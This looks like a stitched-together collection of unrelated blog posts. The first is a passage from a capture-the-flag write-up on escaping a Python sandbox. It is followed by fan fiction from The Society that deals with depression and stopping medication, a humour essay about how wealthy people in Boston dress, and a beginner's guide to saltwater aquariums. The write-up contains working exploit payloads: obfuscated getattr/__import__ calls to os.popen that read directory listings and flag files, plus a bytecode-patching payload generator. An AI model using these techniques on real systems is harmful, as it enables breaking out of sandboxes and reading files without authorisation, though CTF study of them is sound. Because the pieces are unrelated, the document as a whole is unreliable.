When Python does a forking server internally, it doesn't actually fork the process -- that would be dumb -- it just spawns threads. Each thread gets a virtual "stdout" that is used by Python statements such as print. But this isn't the actual stdout associated with it at the OS level. So when python calls system, that system command gets the Python process's original stdout. So the output of ls is just getting printed in the terminal of the server hosting it.

We could do fancy things like spawning a reverse shell, which would certainly work. But they've given us something easier: our code returns a value, which then gets printed. So all we need is to read the output of flag and return it as a string. But, we still need to find out where the flag is, because it doesn't seem to just be flag.txt, so we need to run ls.

Running system on Python just dumps output to stdout. To capture the output, use

return getattr(getattr(globs['__import__']('os'),'popen')('ls'),'read')()

Having run this, we get a dump of our working directory -- which turns out to be /. So then run

return getattr(getattr(globs['__import__']('os'),'popen')('cat ~/flag.txt'),'read')()

to get the flag.

Final code:

def f(): chr ord globals locals getattr setattr chr(1)+chr(2)+...snip...+chr(255) return getattr(getattr(globals()[chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)](chr(111)+chr(115)),chr(112)+chr(111)+chr(112)+chr(101)+chr(110))(chr(99)+chr(97)+chr(116)+chr(32)+chr(126)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))() cc = bytearray(f.__code__.co_code) cc[97] = 11 with open("puffer_pay.bin","wb") as fl: fl.write(b"a"*32 + cc + b"\n")

[ilovetowritei]

Part 1 - The Flowers

I don’t really know how posting on here works. I wrote this this morning, and I am writing the second part now. 

I guess a warning for mention of depression, medication and mental illness. 

I love Grizz and Sam on the Society. I think their dynamic is beautiful, and Sean Berdy and Jack Mulhern do an amazing job bringing their characters to life. I also find it highly improbable that Harry is the only one that suffers depression given their situation.

*******************

Grizz had been tending the flowers.

For six months, without help or prompting, he had been weeding and watering, pruning and coaxing the delicate little buds to life. He wasn’t really sure why he did it - it just felt like something that needed doing. The flowers might not serve a useful purpose, but they served an emotional one. They were beautiful, and a part of Grizz knew that that was enough.

He’d been back from the expedition two weeks. The shock of Allie’s blood sliding down her face still hit him every time he walked into town. His friend, the only person who had been able to step up and face the reality of this new place. He’d grown to see her as fierce, but in that moment, her pale face beneath a black beanie, she was vulnerable, a seventeen year old girl afraid of the school bullies.

Except now, they weren’t just ruling the school hallways. Lexie and Harry ruled the town, decided who did what and when. They decided, quite literally, who would live, and who would die. Grizz had moved back into his family home, isolated on the outskirts of town. He’d spent his time cleaning up his home, drawing maps to the land and mostly, trying to work out how they were going to survive.

But today was different. Something was tugging at his heart. The pain of loss was bubbling up inside him, threatening to overflow as it had been since the buses had dropped them here. So he walked to the one place he could think of where life was beautiful and simple. He walked to the gardens out behind the library, where his flowers grew.

Caught up in his thoughts, Grizz didn’t hear the heavy breaths coming from beneath the shade cloths. He didn’t notice the footprints pressed into the muddy ground. He pulled each peg from the cloth carefully and then threw the cloth back.

“Sam?! What the fuck?” Beneath the shade cloth, Sam was lying in the flower garden. Frozen weeds and dying buds were spread out beneath him. The boy looked up.

It was this look that showed Grizz that something was wrong. The last time he had seen Sam, his blue eyes had been clear, tears leaking silently from their corners. Now, lying in the garden bed, Sam’s eyes registered Grizz without comment, settling on Grizz for a moment before turning their stormy gaze back up to the clouds. No tears, but no light either.

“Sam? What are you doing?” Grizz tried again. He wasn’t looking, couldn’t read the words tumbling from his lips. Grizz felt every ounce of anger and hurt seep from his body as he nudged Sam gently. He leant over him slightly and signed.

Sam. What are you doing? The words still felt clumsy in his hands. Still, Sam registered them. His own hands rose from where they rested on his stomach, drawing pictures in the sky that Grizz couldn’t catch.

Slow down.

Sam looked at him properly for the first time. Grizz felt his eyes boring into his chest, measuring his worth. I don’t want to be here anymore.

For a moment, Grizz stood confused. “Then hop up. Go home.” But even as he spoke, a part of his heart started to shatter.

On this Earth. Living. Sam spoke the last word quietly as he signed it. Grizz’s hands went to his head, raking through his hair. Even before, Sam had always been full of life. A strong steady present in the back of the room, signing his sass to Becca and offering up sardonic grins whenever he made eye contact. Those grins had squeezed the air from Grizz��s lungs. They’d been his first indication that this was a boy he should stay away from, someone that could actually make him feel something.

This wasn’t the same boy in front of him. Sam’s body was long and thin, his hands and face pale against the rich soil. He was shivering, and Grizz noticed that there were new angles to his body. Angles that hadn’t been there… He shoved the thought from his head.

Why? Grizz was glad that his hands couldn’t betray his heart the way a crack in his voice surely would have. Tears had started to slide down Sam’s face and finally Grizz broke, reaching out to wipe them from his face. He pulled Sam up into a sitting positioning knelt down.

Why? His hands shook.

“I don’t know what to do. Allie is gone. Campbell is in charge. He’ll ruin everyone. It’s not just my life he can fuck with anymore. It’s everyones. I don’t know what I’m doing. He won’t let me go home. Won’t let me get any of my things, or any photos of us and mum and dad. He won’t even let me get my tablets.” Sam gulped.

“Tablets?”

“Medication.” Sam’s voice was soft. Grizz’s heart plummeted.

“He’s stopping you from getting your medication? For how long now?! This whole time?!” Grizz’s voice rose with anger. Sam swallowed.

“I weaned myself off of them at the start. I figured that I couldn’t keep relying on them. But it’s creeping back. I can feel it, under my skin.” Sam looked up at Grizz in desperation. He couldn’t take it any longer. Grizz reached out and took his face in his hands.

“Sam. What’s the medication for?”

D-E-P-R-E-S-S-I-O-N  Sam finger spelled the word slowly, trying to convince himself that this wasn’t some dirty secret. He’d never expressly hid it. It just wasn’t something people knew, particularly when you couldn’t communicate with them. Becca knew, had been supportive in his rough patches. But here in this new world, he didn’t know how to reach out to her. Didn’t know how to explain that despite everything changing, the sluggish feeling creeping through his veins was back.

Grizz looked at him intently for a moment. He hadn’t seen Sam properly since the goodbye. Around town he had looked hurried and tired, a sight Grizz had attributed to life with Eden. He hadn’t seen the pain in Sams gaze, the mindless working of his fingers when his brain was working overtime. He pulled Sam forward into his arms.

“I came to look at the flowers. After we got dropped here. I would come and look and they gave me hope. But then they started dying. And it felt like all the hope was gone. You were gone.” Sam’s voice cracked as he broke into sobs, body shivering against Grizz. He was wearing only a button down and jeans. Grizz shrugged out of his puffer jacket, wrapping it around Sam’s frame. A part of him smiled at the image - Sam wrapped in something of Grizz’s, swallowed by the size and warmth. An image he had dreamed of in their other lives.

You liked the flowers?

Yes. Sam watched Grizz warily.

“A garden and a library.” Grizz murmured. Two places of beauty.

“Cicero.” Grizz looked at Sam in surprise, shocked that he had remembered.

“Yeah.” Grizz watched him for a moment. “Eden right? That’s the baby’s name?”

Sam looked down at the mention of his family. Becca had noticed his slide in the last few days, settling into a routine with the baby allowing her to finally see the pain building in her friends soul. Last night he had told her, about Grizz and thanksgiving, about Grizz’s pain and the way he had left. Becca had cried with him. And then flicked his ear.

“Sam. You’re an asshole.” Sam looked at her in fear. “Why didn’t you just tell me? We could have worked this out. I wouldn’t have told everyone you were her dad-”

“NO!” Sam yelled, standing abruptly. “I am her dad. She’s mine!” Becca looked at him in shock. His face was red, tears and snot dribbling down it.

“That’s not what I meant. Of course you’re her dad. From the moment you held her, you were her dad.” She looked at him, pleading for him to understand. This was their family. She loved him, so much so that she wanted him to be happy even if it meant braving the ridicule she knew would come when people found out who the father really was. “I just want you to be happy. Tell him. Tell him and tell him if he tells anyone else I’ll kill him.” Tears streamed down her face.

“I am her father.” Sam was nothing if not stubborn. His heart was full of love for this baby.

“And you always will be. But you will also always be gay. We can’t hide that from her, or from anyone else. So tell him. You’ll always be her dad. But he deserves to know. Because one day, she will know too.” Sam looked at her and felt his heart continue to break.

“Yes. Eden.”

Beautiful.

“Grizz…” Sam wasn’t sure what to do. How to say what he wanted, needed to say.

“I get it. They’re your family.” Grizz stood, heart shattering as he wiped his nose against his sleeve. Sam was a good guy. Which meant family had to come first. “Look, I’ll find a way to get you some of that medication okay? If things are getting bad, better you have it and we work out a solution from there.” He stood and turned to walk away.

Some flowers weren’t his to tend. Sam would never, could never be his.

[disrupt0r]

A Series of Complaints: Basic Rich People

There is nothing quite as appalling as when I walk into a coffee shop near Berklee School of Music or in Harvard Square and see the same sets of identical student-types wearing extremely bland, extremely expensive clothing. 

In this unfair capitalist society that we live in I feel that the rich should do us regular people a favor and at least spend their money on something pleasant or interesting to look at. But instead, this city is overflowing with generic-looking $4,000 Louis Vuitton crossbody bags, and chunky sweaters which are practically identical to each other, indistinguishable between The Gap or Gucci until a logo peaks out from a tag. 

Note that “minimalist” and “basic” are not the same thing, though I admit both could be called boring. I personally would never mind solid colors and good materials, the ethos of minimalism, but the combined plaid/tartan/pastel/stripes trends, inoffensive on their own, seem to converge on “this is what a designer Scottish baby blanket would look like, and for some reason we made it into a sweater”.

When you pay over $1,000 for almost any article of clothing (maybe with the exception of a leather-trimmed down overcoat or similar) what you are saying is, I did not buy this because the materials and craftsmanship is worth this much; I did not buy this because it is practical; I bought this because it is art--or, maybe, this is an item which communicates my status in society. I wish the wealthy would at least do both, but instead, hordes of people are content to all wear the same thing as long as it communicates status, no matter the fact that looking at drying paint is more interesting than their outfits, and the cost of this drying-paint-outfit could have purchased a used car or a family home in a rural area. The same goes for men dressed head-to-toe in Vineyard Vines, which I’m pretty sure is banned outright in 34 out of 54 African countries because most Ministers of Commerce have declared it “neocolonialism in clothing form”. 

Whatever you have to say about the wealthy Asian international students, you cannot deny that they are fun to gawk at, which at least provides ordinary peasants like myself some amusement. True, there is some herd-behavior there too, with probably 15,000 pairs of those Gucci sneakers (you know the ones) spread out across Boston University dormitories, Fila Disruptors rapidly becoming much less white as they trek across Chinatown, Burberry trench coats so long they graze the Freedom Trail. 

                                                          *Those* ones.

Occasionally there are even some truly interesting pieces--while at New Shanghai I saw a young man with a beautiful brocade bomber jacket, a tiger embroidered in golden thread, and our whole table stopped eating for a moment in appreciation. The only real gripe I have with this crowd is in the winter, when all the splendor suffocates underneath identical Canada Goose puffers. 

I appreciate, too, some of the white girls, like the one who left my yoga studio in this amazing gold-foil running jacket that i couldn’t identify, or even the Patagonia-adorned Whole Foods shopper--their outfit says, “I’m basic but at least I care about sustainability somewhat”. 

It’s the down-payment-for-a-condo bags and sweaters which look like early 2000′s office furniture that I can’t get over. I seethe quietly while waiting in line for coffee, until my order is taken by a barista who has a lovely punk-inspired ‘fit on that she cheerily tells me was thrifted and I am finally at peace. 

Style cannot be bought. 

________________________________________________________________

“A Series of Complaints” is my attempt at a series of humor essays that I’ll be posting here and on other blogs in the coming weeks. Stay tuned!

[glasssplashbox]

How To:

Deciding on a Salt Water Set Up 

Where do you even start? It’s daunting to make the first steps to salt water and many people in the hobby don’t get the information they need when starting up. I’m hoping here to save some peeps from a trial and error kind of a start that I see most often.

This tank type can be as easy or as difficult as you’d like it so don’t go thinking you need to go fresh water first. Keep reading to learn where you want your tank to lye. 

The first step in any aquarium set up is a whole lot of choices to make. There are few things worse than following an easy start up guide only to find you built the wrong thing! You’re tank is now incompatible with the animals you wanted and now it either time to peruse the path you have already built your tank up for or it is back to square one. 

I am a strong believer in doing a lot of aquarium planning, and research before actually getting started on anything. Why? Because I’ve been there! And maybe you have too if you are reading up on this page. If you haven’t yet fallen into this as an aquarium hobbyist and you are here, you are a far more prepared person than most of us.

So, where to start in the salt water world of planning? 

Choosing a Tank Size

Lets start with tank size. Contrary to what you might think, it is a generally well accepted fact that larger salt water aquariums tend to be easier. You’ll be worrying a lot less about water parameters the more they are deluded (i.e. the more water there is.) Unlike in fresh water, you will be needing to keep an eye on salinity. It is not a hard measurement to take or keep track of, but it is very important for your fish and corals. Think about what how much time you want to put into thinking about this. Not as often? Think bigger, maybe a 30 or 40 gallon at least.

The next thing to consider with size is what animals you have your eyes on. Do you  like big fish, like tangs, or are smaller clown fish more your speed? Look into the needs of the pets you want. Some need a lot of swimming room like anthias, while others (again like clown fish) like to stick to a territory. 

Pick a Tank Build

Once you have a size in mind the next thing to think about is the fact that salt water tanks are usually just built differently. Please, PLEASE, do not go to your local chain pet store and buy a regular, aqueon tank. You will be setting yourself up for a BAD TIME. Salt water tanks are usually built with a separate chamber for filtration and other needs whether it be a sump (a second small tank under the display tank that is hidden in a stand) or an overflow box in the case of nano tanks (a space built into the back of the tank hidden by a false backing.)

Although there are ways around this, know you will be making a ton of work for yourself and it will never run quite as cleanly as a system that has one of these features. Depending on the size of tank you are looking at, consider which of these would make more sense. Big generally means a sump and small generally mean an overflow box, but there are so many options! depending on how much money you are willing to put into this project, sumps can be home made, while overflows are usually a professional built in feature.

Note that the plumbing is not shown in the first picture, but that is for another time. While this sump modified tank on the right is home made, please know that there are plenty that come pre-made and with all the plumbing done for you. The tank on the right is a Nuvo 10 gallon Nano tank that comes as seen here and only needs to be plugged in and a heater added.

Coral or No Coral?

Another thing to keep in the back of your mind is weather or not you want coral. There are many different kinds of coral with many different needs. I will go more into this in future posts, but the biggest thing you need to know is that with coral (and sea anemones for that mater) you are going to need  coral lighting. This does not come cheap. For smaller tanks you can be looking at a Kessil A80 Tuna Blue, the cheapest light that gets the job done right in my opinion, running for about $150. From there it is only goes on to get more expensive and this light only works up to about 20 gallons.  But  don’t let me make you think anything about this hobby is cheap. It will be one cost of many. 

On top of this, there are many reef dwelling fish that like to eat or nibble on coral and can cause real trouble for anyone going into reefing (growing corals). Having coral in your tank will mean there are going to be a whole lot of fish that you are barred from adding to your tank (many puffer fish, angels, and butterflies.)

All of this being said, I don’t own a single salt water tank that doesn't have coral in it and the process of growing corals is as rewarding as it is beautiful. You will see colors completely new to you that only occur in these fascinating ecosystems! I will always say the little extra work and attention is worth it. In the end though, it will always come down to you. What do you want in your tank? What do you want to put into it and get out of it?

Finally, with all of this said and done you are ready to select your tank! One of the most exciting steps in setting things up. You know what size and build your selected ecosystem will need. So get looking at your local fish stores and online to see what is going to fit the bill for your new tank!

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